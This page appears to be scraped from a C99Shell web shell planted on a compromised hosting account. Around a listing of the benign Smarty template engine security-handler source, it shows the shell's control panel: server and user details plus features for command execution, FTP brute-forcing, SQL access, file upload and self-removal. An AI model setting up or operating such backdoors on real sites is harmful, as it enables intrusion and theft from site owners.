!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/musvin.pp.ua/modules-alien/smarty/libs/sysplugins/   drwxr-xr-x
Free 116.75 GB of 200.55 GB (58.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     smarty_internal_security_handler.php (4.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
* Smarty Internal Plugin Security Handler

* @package Smarty
* @subpackage Security
* @author Uwe Tews 
*/
/**
* This class contains all methods for security checking
*/
class Smarty_Internal_Security_Handler {
    function 
__construct($smarty)
    {
        
$this->smarty $smarty;
    } 
    
/**
    * Check if PHP function is trusted.
    * 
    * @param string $function_name 
    * @param object $compiler compiler object
    * @return boolean true if function is trusted
    */
    
function isTrustedPhpFunction($function_name$compiler)
    {
        if (empty(
$this->smarty->security_policy->php_functions) || in_array($function_name$this->smarty->security_policy->php_functions)) {
            return 
true;
        } else {
            
$compiler->trigger_template_error ("PHP function '{$function_name}' not allowed by security setting");
            return 
false;
        } 
    } 

    
/**
    * Check if static class is trusted.
    * 
    * @param string $class_name 
    * @param object $compiler compiler object
    * @return boolean true if class is trusted
    */
    
function isTrustedStaticClass($class_name$compiler)
    {
        if (empty(
$this->smarty->security_policy->static_classes) || in_array($class_name$this->smarty->security_policy->static_classes)) {
            return 
true;
        } else {
            
$compiler->trigger_template_error ("access to static class '{$class_name}' not allowed by security setting");
            return 
false;
        } 
    } 
    
/**
    * Check if modifier is trusted.
    * 
    * @param string $modifier_name 
    * @param object $compiler compiler object
    * @return boolean true if modifier is trusted
    */
    
function isTrustedModifier($modifier_name$compiler)
    {
        if (empty(
$this->smarty->security_policy->modifiers) || in_array($modifier_name$this->smarty->security_policy->modifiers)) {
            return 
true;
        } else {
            
$compiler->trigger_template_error ("modifier '{$modifier_name}' not allowed by security setting");
            return 
false;
        } 
    } 
    
/**
    * Check if stream is trusted.
    * 
    * @param string $stream_name 
    * @param object $compiler compiler object
    * @return boolean true if stream is trusted
    */
    
function isTrustedStream($stream_name)
    {
        if (empty(
$this->smarty->security_policy->streams) || in_array($stream_name$this->smarty->security_policy->streams)) {
            return 
true;
        } else {
            throw new 
Exception ("stream '{$stream_name}' not allowed by security setting");
            return 
false;
        } 
    } 

    
/**
    * Check if directory of file resource is trusted.
    * 
    * @param string $filepath 
    * @param object $compiler compiler object
    * @return boolean true if directory is trusted
    */
    
function isTrustedResourceDir($filepath)
    {
        
$_rp realpath($filepath);
        if (isset(
$this->smarty->template_dir)) {
            foreach ((array)
$this->smarty->template_dir as $curr_dir) {
                if ((
$_cd realpath($curr_dir)) !== false &&
                        
strncmp($_rp$_cdstrlen($_cd)) == &&
                        (
strlen($_rp) == strlen($_cd) || substr($_rpstrlen($_cd), 1) == DS)) {
                    return 
true;
                } 
            } 
        } 
        if (!empty(
$this->smarty->security_policy->secure_dir)) {
            foreach ((array)
$this->smarty->security_policy->secure_dir as $curr_dir) {
                if ((
$_cd realpath($curr_dir)) !== false) {
                    if (
$_cd == $_rp) {
                        return 
true;
                    } elseif (
strncmp($_rp$_cdstrlen($_cd)) == &&
                            (
strlen($_rp) == strlen($_cd) || substr($_rpstrlen($_cd), 1) == DS)) {
                        return 
true;
                    } 
                } 
            } 
        } 

        throw new 
Exception ("directory '{$_rp}' not allowed by security setting");
        return 
false;
    } 
    
/**
    * Check if directory of file resource is trusted.
    * 
    * @param string $filepath 
    * @param object $compiler compiler object
    * @return boolean true if directory is trusted
    */
    
function isTrustedPHPDir($filepath)
    {
        
$_rp realpath($filepath);
        if (!empty(
$this->smarty->security_policy->trusted_dir)) {
            foreach ((array)
$this->smarty->security_policy->trusted_dir as $curr_dir) {
                if ((
$_cd realpath($curr_dir)) !== false) {
                    if (
$_cd == $_rp) {
                        return 
true;
                    } elseif (
strncmp($_rp$_cdstrlen($_cd)) == &&
                            
substr($_rpstrlen($_cd), 1) == DS) {
                        return 
true;
                    } 
                } 
            } 
        } 

        throw new 
Exception ("directory '{$_rp}' not allowed by security setting");
        return 
false;
    } 


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0403 ]--